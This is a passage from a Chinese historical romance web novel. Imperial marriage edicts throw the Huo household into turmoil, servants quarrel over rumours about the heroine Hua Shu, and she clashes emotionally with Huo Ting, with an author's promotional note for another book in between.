天作之合,特赐状元霍玄为驸马,即日完婚。着礼部与钦天监共筹婚仪,择吉日行嘉礼。钦此!” 裴夙闲散的声调轻飘飘落下。 结果,不仅霍玄变了脸,霍府诸人亦是闻之色变。 不待众人喘口气,第二道圣旨劈头砸下—— “奉天承运,皇帝诏曰: 朕闻康王之女韶华郡主,兰心蕙质,娴静端庄,承皇室之芳华,秉淑德之懿范;镇南王霍霆,文韬武略,威仪赫赫,负社稷之栋梁,怀苍生之仁心。 天缘契合,今特赐韶华郡主晋为韶华公主,嫁与镇安王,着即日行大婚之礼。礼部与宗正司共备仪典,钦天监择吉期良辰。钦此!” 圣旨宣读完,月色寒蝉若禁。 好半晌,众人才如梦初醒,无一不面面相觑,最终纷纷将目光寄托在霍霆身上。 一夕之间,府上竟要迎来两位公主! 霍家本就树大招风,这当真是浩荡皇恩? 霍霆如定海神针一般跪在原地,背脊岿然挺拔,面色波澜不惊,如此让大伙稍稍安定了些。 可在不为人知的衣袍下,他两手早已攥得骨节泛白。 台阶上,裴夙不疾不徐宣读完圣旨,对霍家上下各色精彩的反应,毫不意外。 他言笑晏晏地走下台阶,站定在霍氏叔侄二人面前,双手递过明黄卷轴,“王爷,状元郎,两位领旨谢恩吧。” “不、不对,此事不可如此!” 霍玄神思回笼,下意识回看一眼华姝,然而转头朝裴夙急急拱手道:“还劳烦裴督主代为通传,霍玄已有婚约在身,请圣上收回……” “霍玄!” 霍霆厉声打断他,抬手,硬生生按下未曾摧眉折腰过的少年,叩首,谢恩:“臣领旨,吾皇万岁万岁万万岁。” 这一幕,悉数落入华姝眼中。 她目光微有恍惚,端庄跪在原地,随其余人一同高呼“吾皇万岁万岁万万岁。” 起身,接旨仪制礼成。 却见裴夙略抬起纸伞边缘,朝她望来,眼尾勾起一抹若有似无的笑意:“贵府这旨意接下,怕是有欺君犯上之嫌呐。” 霍家众人重新变了脸色,神态各异地看向华姝。 三夫人一惯明哲保身。 二夫人母女也在审时度势。 阮糖眼底跃跃闪过一抹暗芒。 老夫人和大夫人母女则目露忧切,但涉及前朝重臣,大多还是交由男子会谈。 三位叔伯老练持重,齐齐看向霍霆,听候家主发话。 倒是霍玄血气方刚,欲开口维护她,再度被那大掌蓦地摁住肩膀。 霍霆扫了眼华姝煞白的小脸,淡淡转回头,往前迈一步,截断裴夙投向她的不善目光。 他再度与裴夙四目相对,“无父母之命媒妁之言,小孩子家的戏言罢了,作不得数。” “哦?”裴夙轻嗤:“是什么样的男女关系,能有此等戏言?” 此话一出,众人脸色再变。 “裴夙,你放肆。”霍霆寒声染怒。 许久无人敢直呼其名,裴夙也冷下脸,“本督为圣上办事,若是疑而不问、知而不报,岂非蒙蔽圣听?” 霍霆:“本王自会向圣上禀明。” 三言两语,双方气氛再度紧张到极点。 众人看在眼里,急在心上。 这个裴督主,摆明了要抓着霍玄的错处不放。 华姝和霍玄作为当事人,更是心急如焚。 素闻这东厂番子乃圣上身旁的犬牙,逮住谁就一个劲地疯咬。今日她亲眼目睹,才切实领教了他们的癫狂、狠辣。 忽然夜风四起,吹得枯枝鹤唳,枝头的红枫残叶萧萧而落。 华姝腰间的红色绢帕,亦是随风瑟瑟飘摇。 她余光瞥见,忽然心生一计。 她左手握成拳头,右手从腰间扯下红色金线的攒花绢帕,盖在其上。 然后隔着人群,无声演示给忧切回望她的霍玄看。 霍玄怔了怔,福至心灵地眸光转亮。 又有一瞬的挣扎与抗拒。 而后环顾阖府众人,终是沉重开口。 “垂髫之龄玩过家家,扮过新郎新娘。那时曾……”他双手攥紧,又颓然松开,“曾戏言,长大后也要让她做我的妻。”—— 作者有话说:[撒花]本着评论区会掉落红包~ 27章有较大改动,可免费重看 ************************** 下一本《婚后破戒》跪求收藏~ 替嫁|双向救赎|老房子着火 云釉第一次见薄斯年,在订婚宴 男人白色中山装,青竹刺绣,清雅端方,与她小姑携手而来 橘光晚霞,才子佳人,永恒定格在云釉的画笔下 事后,向生父乞讨学费被拒的她,眼前意外出现一张银行卡 卡片被人托在掌心,泛着金色暖光,“画工很棒,这是稿酬。” 云釉第二次见薄斯年,在相亲局 男人黑色中山装,墨蛟刺绣,瘦削冷肃,左手多了根黑金拐杖 在会所门口擦肩而过,乘坐迈巴赫,融散于茫茫雨雾 只因她迟到5分钟,两人这场相亲不欢而散 * 沪城顶级豪门,薄家历代最完美的掌权人,薄斯年即使左腿微创,供他挑选的联姻千金仍不计其数 公布婚讯时,圈内一片哗然 濒临破产的云氏地产……的私生女? 狐狸精怀孕上位、契约结婚的流言愈演愈烈 尤其扒出云釉只是个闲散的街头画师后 毕竟薄斯年这人极度自律,时间安排都精准到秒 可不久后,薄斯年就为云釉重金举办了画展 兄弟好奇来问,他照旧忙得没心思理会 但如果问:他日程表的最后一行,为何涂满了卡通小动物? 薄斯年会短暂丢下工作,眼含温柔:“下班时间都归老婆管。” * #云釉遍染千峰翠,尽渡斯年十二春 #斯年已沥三更雨,怎忍云釉碾作尘? 阅读指南 1初见女16男26;再见女21男31 2男主之前谈过,双C 3男主左腿微创,没拐杖也可,体力超好(咳) 第32章 这次有他在,就不同了…… 一众东厂番子簇拥着裴夙离开, 议事厅前旋即忧声嘈杂,满脸愁容。 男子不约而同向霍霆靠拢,女眷全凑到霍老夫人跟前。 唯独霍玄的目光一直追随着华姝。 隔着攒动的人群,他往日清澈含笑的漂亮眸子, 此刻不甘、不舍、沉痛、低落, 眼尾泛起薄红。 就差一点点…… 若是昨日亦或前日, 他早点从别院接她回府,会不会结果就能圆满了? 霍玄指腹不自觉一遍遍摩挲着那柄袖箭, 抬脚想上前送与她,却被浩浩皇权压得步履沉重。 “玄儿,跟上来。”霍雲唤道。 以霍霆为首的几位爷们,相继走进议事厅,个个神情肃然。 霍玄迟缓地跟在最后,转身关门时,又情不自禁望了一眼人群中的那抹姝色。 华姝也回眸看向他,身后的那位。 议事厅主位上,霍霆抬眼, 与门外的秩丽杏眸遥遥相对。 不同于霍玄的悲愤难掩, 那双凤目几乎瞧不见情绪波动, 黑沉如渊,深不可测。 这一刻, 他不再是纵她、缠她的那个男人, 而是岿然鼎立的霍家家主。 当他不作迟疑, 压住霍玄领旨谢恩的瞬间, 尤其明显。 “嘎吱——” 议事厅两扇门扉一寸寸闭阖,天边最后一丝碧光余晖堙灭。 华姝随众人同往千竹堂。 桂嬷嬷扶着老夫人靠坐在窗前的软塌上,随即带着所有丫鬟婆子退出去, 远远遣开。 事关重大,桂嬷嬷独自守在门外,屋里只剩娘七人。华姝随大房母女坐左侧,三夫人随二房母女坐右侧。 主位上,老夫人撑着软枕,强打精神:“回去务必管好各自房里的人,对此事不可多嘴一句。府上越是风光,府外越要低调行事。” 华姝等人齐声应是。 大夫人最是焦灼,先起话头:“母亲,您瞧天家这当真是恩典么?俗话说一山不容二虎,一府不容二主。让玄儿与他四叔同时迎娶公主,这不是要……要离间他们叔侄,离间咱们霍家?” 老夫人没搭话,威严目光扫过另外两房。 二夫人忙表态:“我赞成大嫂说的,这事咱得重视起来。明眼人都能瞧出来,天家在用阳谋啊。” 三夫人也道:“自古以来,阳谋最难解,这事还得仰仗四位爷们。咱后宅妇人能做的,就是齐心协力,不生嫌隙。” 老夫人还算欣慰地点点头:“我倒不指望一点嫌隙没有,但不管家里怎么斗,出门冠的都是霍姓。这道理,自你们入府我就交代过。这些年都没让我失望,为娘相信你们日后定也不会。” 三位夫人再度齐声应是。 之后反复商议未果,决定还是先瞧瞧霍霆几人的意思。 三夫人有孕在身,老夫人精神头也不好,早早遣散众人,单独留下了华姝。 华姝将安神汤放到茶几上,坐到床边,“祖母,您不用为姝儿忧心。虽是始料未及,左右与我想回华府的打算殊途同归。” 老夫人怜惜握住她手,叹:“到底是养尊处优的公主,她若是个心缝窄的,你避出府也不见得能了事。” 华姝故作轻松:“不是还有您和几位叔伯么?她出嫁从夫,想必也希望家宅和睦。” “一门两公主,难呐。” “……四叔晌午说,日后会带王妃定居封地,届时府上就只余一位公主。” “难就难在这。” 老夫人再叹:“你四叔从小就是藏锋敛颖的性子,他肯将计划提前细说与我,可见对那姑娘真上心了。你说,他会安安稳稳携韶华公主回南边?” 华姝心中愕然。 服侍老夫人睡下走出门,明月高悬。 “表姐?”华姝过去帮她推轮椅。 霍千羽一直等在门口,满脸歉意:“玄哥儿接旨时那一嗓子,只怕会引得福佳公主对你不满。母亲让我留下来,看看你和祖母有何妥当的安排,我们必定全力帮衬。” 华姝慢慢走在青石板路上,“表姐不必愧疚,婚约的事一直没说清,我也有责任。至于日后……”她似想到什么,忽然抿紧唇瓣。 霍千羽只当她在发愁,也跟着愁:“说句大不敬的,都怪那圣旨。”她仰脸看身后,“你说四叔那么大的官,也一点办法没有嘛?” 华姝环顾四周的院墙,不敢多言:“小心隔墙有耳。” 趴墙头的濯缨和暗卫们:“……” 怎么感觉被谁给出卖了? 亲眼看见华姝走进月桂居,趴完墙头的濯缨赶紧来复命。 正逢议事厅的房门打开。 霍雲几人陆续回房,在深夜中,脸色若明若暗。 霍霆又静坐了半柱香的时辰,默然望着门外的方向,微有失神。 回去的路上,濯缨一五一十汇报刚刚发生的事。 霍霆负手走在前面,始终神色淡淡。 听及华姝日后的打算,他脚步微缓,“她如何说?” “表姑娘说,”濯缨硬着头皮:“表姑娘说隔墙有耳。” 霍霆:“……” 此后一路无话。 濯缨忐忑跟在后面,瞧着霍霆威严冷肃的背影,吓得大气不敢喘。 行至清枫斋门口,他利落上前推开院门,唯恐稍有差池被降罪。 却见自家王爷停下脚步,目光落在对面月桂居紧闭的门上,过了稍息,缓缓冷哼一声:“小东西。” 濯缨:??? * 月明星稀,早已下钥的朱门宫门,应声巍然大开。 裴夙闲庭信步而出,越过容城驾候的马车,独行于寂寂无人的长街。 容城忙将马车交给暗卫,不远不近地跟随侍候。 街头转角,一醉汉迎面撞见了裴夙。 见他肤若凝脂,眉眼如画,手执花鸟水墨画的纸伞,更添一抹风月韵味。 醉汉不由搓手嘿笑:“好俊俏的小郎君,让爷香一个……啊!” 利刃自伞骨射掠而出。 头颅闷声坠地,染红地面大片秋霜。 从始至终,裴夙未抬眼皮,缓步走进巷子尽头的浓郁夜色。 容城悄看着主子背影,百思不解。 傍晚时分,华姝的小动作悉数落在他眼里,自然也逃不过主子的法眼。 换作旁人,主子必然一枚利刃射过去断其双手。 可对待华姑娘,先辱其清誉,又为其破例,实在令人捉摸不透。 裴夙大半夜在街上散步,可不就是在顺气呢? 收了个跟自己一样不着调的小徒弟,纯粹是来克他的。 关键是,她自己还不吭声。 蔫坏蔫坏的。 临行至东厂门前,容城实在忍不住,请示道:“主子,按例明早要去散布华姑娘与霍玄的传言,可她毕竟是您徒弟……” 裴夙瞥他一眼。 容城噤若寒蝉。 少顷,裴夙拾阶而上,“按例行事。”他幽幽一笑:“她在霍家太过安稳,又怎会诚心来投靠我?” 容城恍然,“主子英明!” 裴夙又问:“霍霆那边有何动静?” 容城:“不曾。” “还真是稳如老狗啊。”裴夙嗤道:“再去探。我倒要看看他能忍到几时?” * 一夜秋雨,檐下点点寒气,蹿入无数未眠人的惊梦。 华姝晚起有半个时辰,用膳时也睡眼惺忪,只用小半碗粥,就窝到窗前软塌上假寐。 白术心疼自家姑娘,“如今山楂都熟哩,奴婢去厨房给姑娘煮碗浆酪来吧,酸甜开胃。” 华姝想想也行,承了她一片好意。 白术出门不久,半夏来报:“姑娘,奴婢刚听到消息,大公子跪了一夜祠堂。” 华姝睁开眼眸,“何人下令?” 半夏:“大公子自请领罚,说是不该拿儿时戏言当真,不仅接旨失仪,还平白辱了姑娘的清誉。” 华姝缓缓坐直身子,略作思忖,撑伞前往祠堂。 霍玄最为端方守礼,突然犯下过失,他定是百般苛责自己。 那种从云端坠入泥泞的负罪感,她曾深刻体会过。 有些事,还是要当面说透吧。 祠堂地偏,又下着雨,路上几乎没遇到什么人。 华姝避开阶边青绿苔藓,等在檐下。 霍玄本打算跪上三天三夜,得知她过来,匆忙整理好仪容,扶着小厮慢慢走出来,“表妹。” 一夜光景,昨日那个鲜衣怒马的少年,整个人憔悴不少。 他向华姝的眼眸,思绪复杂,像两枚被秋雨浸透的琥珀,凝着太多不能说出口的疚与念。 饱含热意的目光,让华姝受之有愧。 她规矩见礼一声“表兄”,待遣散半夏和小厮后,说明来意:“大伯母可曾同你说了?原是我出尔反尔在先,让表兄误会了去。所以昨日之事,你我都有过错,就都不计较了,往前看吧。” “不怪你。”霍玄上前半步,急切想解释。忽然思及什么,又艰涩退回去,“怪我一再坚持。” “我总想着考中状元,日后就能护你……没想到,”他懊悔锤打了下柱子,“早知道,我就不去争这什么破状元。” “我本也无意再说亲,回春堂坐诊时,就在考虑重回华府。”华姝故作轻松道:“以后等我和表姐的医馆开张,还请霍大人多多照拂。” “表妹切莫自轻,原就是我不配。像你这般稀缺的好姑娘,”他清澈的眼眸上,鸦睫克制着颤动,“日后定会遇到良缘,婚姻美满。” “我是认真的。”华姝笑道。 “学医多年,一惯只在后宅看些小病小痛。直到看着那么多饱受病痛的将士,经我手而愈,能重展笑颜、提剑杀敌,我前所未有地感受到医者的使命与意义。” 檐下,少女梨涡中盛满希冀的光亮,好似雨敲青砖的清脆声响——那是把整个秋天的萧瑟,都踏作脚下生风的勇气。 霍玄认真端详她一瞬,“如此,我当祝贺你。” “咱们几人,你从小就最有主见,本就不该被后宅拘束了。”少年的眉眼重新染笑,焕发生机:“去做喜欢的事吧,我……和家里人会永远支持你。” 说着,他从袖中掏出锦袋,取出袖箭,“行医出门在外,留着防身。” 华姝定睛瞧着那柄改良过的袖箭,轻薄小巧,一看就知道花了不少心思。 而他身上的月白锦袍,还是昨日那件。她稍加联系,不难猜出他晚归的缘由,和这柄袖箭的别样情愫。 华姝没接,“还是留与表姐防身吧。” “长姐……也有的。”霍玄温吞一句:“你且用着,不趁手的话我再拿去改良。” 他眸光掺着细碎的小意讨好,赤诚而柔软,总让人狠不下心肠。 殿试前在马车上那次就是这般,她松了口,却给霍家牵出一系列烦扰。 华姝深吸口气,掏出随身携带的一枚银针,手腕娴熟发力,“梆”地一声深深嵌入朱红木柱。 逆着霍玄的诧异目光,她淡声道:“在山里学的。” “轰隆——” 有惊雷劈下,雨下大了。 霍玄半晌才从惊愕中回神,目光仍温柔而专注:“还是头一次听你谈及此事。之前始终不敢问,如今来看,倒是我等被世俗沾染了偏见。” “那人救你性命,也比我懂得护你。”他颓颓垂落袖箭,“你们若是两心相悦,我可设法为他换个身份,日后你开设医馆亦能多份助力。” 这般反应,让华姝意外,又觉合乎情理。 但她不好接他话茬,加上雷雨让她惶惶不适,于是模棱两可地回了句“再说吧”,过去拔下银针,就准备离开。 却见一小厮冒雨跑来,“表姑娘,白术姑娘与钱妈妈打起来了!二夫人命我请您赶紧过去。” 华姝惊诧:“所为何事?” 钱妈妈是二夫人的奶妈,陪嫁过来后一直帮着打理后宅,在府中也颇有几分脸面。 白术虽性子闹腾,但平日里也很懂规矩,在外从不主动招惹口舌,遑论还是钱妈妈这等人物。 华姝带着半夏,顾不得沾湿鞋袜,匆匆赶到二房的苍峰阁。 雨水汹涌的檐下,挤满人。 二夫人端坐在正堂门前,钱妈妈和几名丫鬟、婆子正站在她身后,垂首待命。 而白术则被俩粗使婆子扭住双臂,按跪在院中,身上满是雨水和污泥。 她脚边不远处,一碗红彤彤的山楂浆酪,洒得到处都是。 华姝心猛地揪紧,疾步上前为白术撑住伞,“放开她!” 婆子努努嘴:“老奴也是奉二夫人的令,表姑娘别为难我……” 华姝没争辩,只掏出两枚银针,针尖锃亮。 婆子脸上横肉一跳,连连躲远。 半夏忙扶起白术,华姝为她擦干脸。 白术嘴唇颤抖:“姑娘,不是奴婢先惹事的。” 三人不禁红了眼圈,又默契逼退。 “表姑娘如此护着这奴才,也难怪她如此嚣张跋扈。”二夫人冷冷开口。 华姝挡在白术面前,福身见礼,“姝儿不敢包庇。但请二伯母告知,我这丫头做错何事,要被此般当众辱罚?” 钱妈妈接到二夫人眼色,站出来,“公然质疑当家主母的命令,岂能不罚?” 华姝定定瞧着她,“何等命令?缘何下令?白术又是如何质疑?” 钱妈妈:“这丫头污蔑于我,二夫人仁善,不予计较。她身为奴才,反倒质疑夫人处事不公,还要求夫人给她一个交代。哼,简直胆大包天!” “不是的,我没有!分明是你……”白术指着钱妈妈想辩驳,可此刻院中人数已翻了两翻不止。 事关她家姑娘的清誉,那些污言秽语到了嘴边,白术又硬生生吞回去,咬牙恨自己没用。 钱妈妈瞧在眼中,神色隐隐快意。 华姝皱眉。 其实白术不说,她也猜得到,从山里回来后没少经历。但那回二夫人巴不得躲清闲,这次却闹出三堂会审的架势。 华姝注意到,檐下围观的大多是府上管事。联系起赐婚旨意,她转瞬了然,二夫人实为管家大权。 霍霆本就不喜这婚事,韶华公主再贵气终是年轻,若管不住底下的人,当家主母迟早还是二夫人。 二夫人想震慑住管事们,挑个府上的主子开刀,最为有效。 而华姝这些年,唯恐祖母夹在中间为难,受再大的委屈都是打碎牙往肚子里咽。再没人比她,更合适被杀鸡儆猴了。 但今日,“这丫头污蔑钱妈妈什么了?你说出来,我替你出气。” 华姝挺直脊背,似笑非笑地盯着她。 钱妈妈愣了下,看向身前。 二夫人也诧异一瞬,这小丫头片子何时硬气了起来? 四周的管事们面面相觑,若有所思。 这时,霍玄扶着小厮,紧赶慢赶追来。他停在华姝身侧,瞧了眼白术,“发生何事,竟如此狼狈?” “丫鬟婆子间逞些口舌罢了,何故劳烦玄哥儿亲自跑一趟?”二夫人笑盈盈吩咐:“快给大少爷和表姑娘看座。” “不必了。”霍玄看破没说破,淡声道:“就劳烦钱妈妈按照表妹的意思,复述下吧。” 钱妈妈眼神开始躲闪。 二夫人则沉下脸,“事关姝儿的颜面,玄哥儿还是三思而后行的好。” “我竟还有颜面呢?”华姝环顾一个个围观的管事,讥诮勾唇:“我臊得都恨不得立马搬出府了。” 打定主意搬出府,华姝也没什么好顾忌的。白术一心维护她,总不能让这丫头淋了雨,再寒了心。 更何况,“我颜面是小,若牵扯了不能惹的贵人们的颜面,而没及时制止,这责任谁担?” 霍玄也冷下声:“钱妈妈,说罢。” 钱妈妈这次真慌了,急忙眼神求救。 二夫人抱臂冷笑:“准驸马爷都发话了,你瞧我管用吗?” 钱妈妈讪讪应是,“今早白术突然冲进门,非说老奴诋毁表姑娘。我说她听岔了,她就不依不饶动起手来。”她摊手无奈,“当时在场之人,皆能为老奴作证。” 白术气得浑身发抖,“钱妈妈好生能颠倒黑白!” 她左思右想,急中生智,指天发誓道:“你若没说过,奴婢今日就叫天雷劈死,葬尸荒野,野狗分食。你呢,敢发誓吗?!” “咔嚓——”恰逢天降惊雷。 钱妈妈当场吓绿了脸。 管事们见状,皆是无声撇嘴。 二夫人不由脸色铁青,“好你个叼奴,竟连我都蒙蔽了!”她话锋一转,不等华姝两人发话,先给钱妈妈定下罪行:“还不赶紧掌嘴?” “是是是,老奴该死,老奴该死。”钱妈妈顺水推舟,不痛不痒地,扇了自己两巴掌。 檐下雨幕稀碎,好似戏台的劣质布景 华姝指尖嵌入掌肉,攥紧再攥紧。 她松开手,将习惯性为她捂住耳朵防雷声的白术拉到身前,“给她道歉。” 二夫人凛眉,“表姑娘是要得理不饶人了?” 霍玄:“何止给白术道歉?更该给华姝道歉。” “此事干系重大,我尚且要罚跪祠堂,钱妈妈岂可轻易饶恕?若其他人有样学样,府上不就乱套了?” 二夫人瞥了眼管事们,隐隐咬牙:“玄哥儿,你如今是有婚约在身的人,言行可得注意好分寸。” 霍玄:“多谢二婶娘提醒,我现下已是准驸马了。” 二夫人:“你这是要不顾礼数,拿身份压我?” 霍玄喟叹:“我这一身端方清名反而累及至亲,不要也罢。” 二夫人拍案而起,“你……” “二夫人,王爷有令。” 长缨忽然奉命而来,沉声打断她:“王爷交代,钱婆子搬弄是非,歹心可诛。念她侍奉您一场,或是打一顿发卖了,或是拔去舌头,以免再对您蒙蔽视听。” “拔、拔舌……”钱妈妈吓瘫在地。 二夫人也脸色刷白,“就是下人们发生点口角,何至于如此严重?” 她接过雨伞,遮住管事们神色各异的目光,悻悻往外走,“我亲自去同澜舟说明,大伙先各自去忙吧。” “王爷还有交代。”长缨没动。 隔着茫茫雨幕,昨日递给华姝钥匙时还扮乖装可怜的小侍卫,此刻居高临下站在院门口的台阶上,俯视着二夫人,陌生而威严。 他道:“您也可以不发落钱婆子,但恐有治下不严之嫌。如此,管家之权交由大夫人为好。” 二夫人瞳孔震颤:“什么——” 又是一声惊雷劈下。 失去管家权的二夫人,好似被人抽掉脊梁骨。双眼一翻,撅了过去…… 第33章 他抬手刮了刮她鼻梁,“…… 时而大半月, 华姝再度走进清枫斋的书房,又逢一场秋雨。 有些事,仿若挣不脱的闭环。 窗前的长案上,玉兽香炉的铜口中, 一缕青烟蜿蜒而出。 霍霆一袭闲雅青衫, 端坐长案后, 准确而言,是埋在两摞高高的浅黄奏折里, 应是涉及封地诸事。 周身的气质舒散清隽,与接旨那日的冷酷果决,判若两人。 “王爷。”华姝轻声走上前见礼。 霍霆批阅完手上的那本奏折,提笔蘸墨,砚台见底,才淡漠瞧她一眼。 华姝会意,转到桌尾,半挽起米黄色的绫罗广袖,仔细研磨。 安静的书房内, 纸张沙沙翻折, 窗外细雨秋风, 吹得人思绪忽远忽近。 华姝捏了捏袖带内的黄铜钥匙,暗忖该如何还与霍霆。很明显, 这位现下心情不佳, 万一又把她拉进小黑屋…… “人在这, 心又飞哪去了?” 霍霆更换奏折期间, 忽然开口。 华姝回神,慢慢磨着墨块,等他再更换奏折时, “刚刚之事,多谢王爷。我带了些护心养肝的草药包,已拿与给长缨。” “我不过是为着府上的安定。至于表姑娘,”霍霆停下笔,目光碾过来,“以后自有霍大人照拂。” 这是她与霍玄在祠堂前的对话。 华姝并不意外暗卫会汇报给霍霆,本也没想瞒他。她双臂垂叠在身前,“当时只为宽慰表兄一二,并无旁的意思。” “正如那一月约定,也只为宽慰我。”霍霆定定盯着她,深邃的目光晦暗不明。 华姝心虚垂眸,乖觉认错:“以后再不敢了。” 霍霆:“是不敢了,还是没必要了?” 华姝抿唇不语。 局势已定,再谈什么都是妄言。 此前每次梦及山中哄他、诱他的悔事,都折磨地她整宿耻于安眠。如今又多了道圣旨,她更不能再卑劣去哄骗他。 书房重新安静下来。 恰逢整时,莲花水漏发出一道规律性节奏的“嘀嗒”细响,清晰异常。 不知何时,霍霆的目光,落在书案角落的那封书信上。 书信漆封呈金色,那是关系重大要启用暗桩的标识。城内暗桩多为生脸,不会被有心人察觉而拦截,确保能送到远方收信人的手中。 彻夜殚精竭虑的成果,却成了束缚她鸿鹄之志的枷锁。 在一息息沉闷的对峙中,霍霆想起她对霍玄畅谈未来的轻快话语,想起她与霍玄对幼年情谊的默契记忆。 他手掌攥紧,再攥紧。修剪圆钝的指甲,硬生生掐出血痕。 华姝瞧在眼中,也不好受,几番挣扎,艰涩开口:“现在再谈这些已经没意义了,您精力宝贵,不若就……” “好一个没意义!”霍霆才压制住的怒火,瞬时翻涌而上,一掌将玉笔拍裂在案。 华姝猛地一哆嗦,铜钥匙“叮”得坠地。 空气冻住一瞬。 屋外突逢狂风大作,遮天蔽日。 整个书房霎时陷入一片昏暗。 沉沉的脚步声,由远逼近。 “这么迫不及待还钥匙,”霍霆捏起她下巴,强迫对视:“早就盼着我另娶,然后撇清关系呢吧?” “那您要我怎么办呢?”华姝费力掰开他大掌,主动迎上他怒沉的凤眸,“流言可畏,众口铄金,您今日也都瞧见了的。” “若换作我与您,只怕热闹千倍、万倍不止。请旨赐婚或能堵住天下悠悠众口,但如今……”而后是一道无奈轻叹。 “我如何能瞧见,你派人来寻我了吗?”唯恐再吓到她,霍霆极力克制住声量。 “你又怎知我没法子拒婚?”他道:“因为你设想的未来有医馆,有千羽,有玄儿,有整个霍家,唯独……” 声音戛然而止。 霍霆背过身去,头也不回地出了门。 华姝望着霍霆冒雨远去的高大背影,虚脱地倚在长案边,缓了良久。 她一个在接旨时都没资格搭话的小女子,怎敢奢求他拒婚、对抗天家? 其实能感受到,他对她有几分真意。 可两人地位太过悬殊。古往今来,仰仗男子偏爱而活的女子又有几个好下场? 他昨日能冷酷果决地谢恩领旨,来日那几分真意耗尽,想碾死她都不用他自己动手。 东厢暗房,宛若一只蝼蚁的恐慌无助感,华姝不想经历第二次。 她可以尊他敬他,唯独不能爱他。 * 接下来两日,华姝闭门未出。 虽说公主大婚要筹办多时,但她还是着手收拾起行装。金银细软,满身绫罗,皆是霍家所予,她要带走的物件其实少得可怜。 倒是白术在府中混得风生水起,“自从王爷改命大夫人管家,再没人敢嚼舌根、欺负咱了,甚至有人还管我叫白姑姑了呢。王爷人可真好,英俊又睿智。” 半夏瞧了华姝一眼,无奈暗叹:傻白术,姑娘的流言蜚语本就因那位而起啊。 这日,霍千羽还带来一个好消息:“母亲说白术和半夏护主有功,往后月银再添二两。” 白术:“大夫人简直是菩萨下凡!” 沉稳如半夏,也忍不住喜上眉梢。 华姝将收拾一半的医书放下,推着霍千羽坐到书案前,“我这几日没大出门,家里一切可安好?” 霍千羽叹:“喜忧参半。” “父亲这几日似乎没那么愁了,但又交代母亲要按部就班地准备玄哥儿的婚事。”她抿唇,“玄哥儿病了,茶饭不思,消瘦许多。” “表兄病了?”华姝下意识想问可有请大夫,转念一想,约莫是心疾。 “你这几日都没出门,这是酥礼记新出的雪衣豆沙团子。”霍千羽从双雨手上接过油纸包,献宝似的递给华姝,“然后你帮我挑些滋补的药材,就当回礼,行不?” 两人心照不宣,这药材是给谁用。 可这终究是饮鸩止渴。 再思及霍霆的冷厉态度,华姝没敢应,“这样吧,我让白术拿些药材去厨房,午间给每房都送一道药膳,清肝去火。” 霍千羽沉吟,“如此也好。” 于是两人转去西厢房,称重、打包药材。药庐中萦绕着淡淡药香,安神净气。 “你猜我今早出门,听到什么?”霍千羽忽然问。 华姝哪猜得到,“洗耳恭听。” “想来是那些东厂走狗,到处恶意散播咱家的谣言。四叔就命人在东市、西市、南城、北城各抓了十人,到顺天府门前当众打板子。” “四叔还下令,有人胆敢再污蔑王府,全发配去充军。为了体恤妇孺,就由家里最壮实的男丁代为偿罪。大伙一听要丧失最强的劳动力,再没人敢乱嚼舌。” 霍千羽捧脸赞叹:“四叔这招打蛇打七寸,实在是妙。” 华姝动作微顿,差点剪到手指。 她放下小金剪,端起青瓷茶盏无意识地摩挲着,桂香茶香裹着空中的药香,萦绕在鼻尖,忽浓忽淡。 过了会,霍华羽和阮糖罕见登门。 身后丫鬟抱着首饰匣子,红玛瑙镶金的耳珰耳环,玉簪玉镯,都是当季的新样式。 霍华羽:“过几日就是堂兄的庆功宴了,母亲让我拿过来,咱四个一起挑。” 大夫人一向为人随和,顾及到二夫人的脸面,也想着专心筹办霍玄与福佳公主的大婚,就与霍霆和老夫人商议,让二夫人继续全权筹办庆功宴。 二夫人如今也算投桃报李吧。 霍千羽意味深长看了眼华姝,搁在以前,皆是霍千羽挑剩下才能轮到她俩,心说四叔可当真威武! 华姝装作不知,只笑问:“先前不是已派人送过?” “如今府上要迎娶两位公主,要来的宾客翻了两番,二嫂说要大办。”阮糖笑盈盈盯着华姝。 然而后者反应平平。 阮糖不信。好姻缘全被抢了,这人真就一点不急?莫非她讨得那位的许诺? 是了,为着华姝连二夫人的掌家权都给卸了,也难怪她有恃无恐。 家中派人来催了三四次。王妃做不成,就让她回去嫁与六十多岁的襄阳侯作填房,为兄弟铺平青云路。 阮糖又恨又急,先前那位腿伤未愈时,她真该多去露露脸。连华姝这等残花败柳都能求得青眼,她何愁不能? * 落日黄昏,云层浸染。 趁着晚膳时分园子中人不多,华姝出门透气,顺利打理药田。 上次为了给将士们义诊,收割药材后又种下去一批新种子。过去月余,柴胡、黄芪、车前子……这些秧苗已长得一簇簇的。 待日后离府行医,这些药材都是不可或缺的本钱。 白芷:“起风了,姑娘不若命杂役来除苗吧,免得冻着了自个。” 华姝抬头望了望,道:“无妨,还剩两垄,很快便能好。” 近日她不便出府,去府内哪房串门都只会徒增人家的烦扰。也就只剩与这些绿油油的秧苗打交道,能让她轻快些。 华姝心绪松弛几分,“你瞧,我一手就能拔掉三株白术。” 白术反应过来,“姑娘好生心狠,那我也要把你种进土里,再拔出来!”说着,就张牙舞爪地过来捉她。 华姝忙笑闹着躲闪。 一转身,怔住。 数日不曾回府的霍霆,不知何时站到了药田地头,正负手望着这边。 他身披漫天晚霞,玄色广袖被晚风灌满,像一面猎猎招展的旗。 华姝走上前,福身见礼,“王爷。” 霍霆瞧着她唇角的盈盈笑意淡去,沉默少顷,转身走向旁边的小木屋,“随我来。” 华姝没动,搓了搓指尖的泥土,托词道:“我手上沾有污秽,恐是脏了您屋子。王爷有何吩咐,不若就在此说罢。” 霍霆顿住,侧头:“你确定?” 华姝哑然一瞬。 她小心瞥向四处,没有旁的人,才抬脚跟上。 白术下意识要跟着伺候,被半夏寻个由头拽回月桂居。 长缨更有眼力见,待华姝一走进去,迅速关紧屋门。 小木屋瞬时沉暗下来。 书案后,霍霆用火折子点燃灯芯,抬眼,“你这几日过得倒是自在。” 华姝规矩端身立在书案前,借着灯光,看清他眼睑下的黑青,如砚台里未晕染开的墨色。 但以她的身份和立场,似乎说什么都逾矩,“我前日新调配的安神茶还不错,王爷需要的话,等会让人给您送过去。” 霍霆听出几分隐义,走过来,瞧清她的眼。 如被薄雾浸透的水眸,掬着几簇淡淡的红血丝,在素白眼尾洇开,像宣纸上不小心滴落的残梅。 “你缘何也没睡好?”他探究着。 华姝羽睫眨了下,“一直惦记着那寺庙真凶的下落,我和千羽表姐都心有余悸。” 早点抓获,她就能早些回华府独居。 免了这府上太多人的惊梦纷扰。 霍霆深深看她一眼,没再追问。 从怀里掏出一方干净的素帕,握住她指尖擦拭着细土,“晚间刚收到了消息。” 